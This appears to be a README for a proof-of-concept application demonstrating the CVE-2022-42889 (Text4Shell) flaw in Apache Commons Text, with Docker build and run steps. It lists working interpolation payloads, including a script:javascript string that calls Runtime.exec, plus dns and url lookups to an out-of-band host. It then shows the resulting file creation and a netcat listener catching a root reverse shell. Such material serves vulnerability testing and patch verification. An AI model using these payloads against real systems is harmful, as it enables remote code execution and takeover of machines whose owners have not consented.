A simple demo application that shows how to exploit the CVE-2022-42889 vulnerability.
Utilizes OOB (Out of Band) services to demonstrate dns and url prefixes.
JavaDocs for commons-text interpolation commons-text JavaDocs
Example interpolations
- script:javascript ("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/blop')}")
- dns ("${dns:address|HOST}")
- url ("${url:UTF-8:http://HOST")
Quote from Rapid7
The vulnerability has been compared to Log4Shell since it is an open-source library-level vulnerability that is likely to impact a wide variety of software applications that use the relevant object.
However, initial analysis indicates that this is a bad comparison. The nature of the vulnerability means that unlike Log4Shell, it will be rare that an application uses the vulnerable component of Commons Text to process untrusted, potentially malicious input.
- docker
- java
- maven
Java and maven can be skipped if one fetch image from Docker Hub
Build application
mvn clean package
Build docker image
docker build -t cve-2022-42889-poc .
Run docker image
docker run --rm -p 8081:8081 -t cve-2022-42889-poc
Access application and follow instructions
open http://localhost:8081
Check that the vulnerability creates a new file in the /tmp/ directory (/tmp/blop)
➜ ~ docker exec -ti cve-2022-42889-poc /bin/ls /tmp
blop tomcat-docbase.8081.12439436974042217796
hsperfdata_root tomcat.8081.2549096106233509364
➜ ~
Reverse shell. Launch "nc" on your local machine
➜ ~ nc -lv 4242
root@7cfcd6a39a61:/# whoami && uname -a
whoami && uname -a
root
Linux 7cfcd6a39a61 5.10.76-linuxkit #1 SMP Mon Nov 8 10:21:19 UTC 2021 x86_64 GNU/Linux
root@7cfcd6a39a61:/#
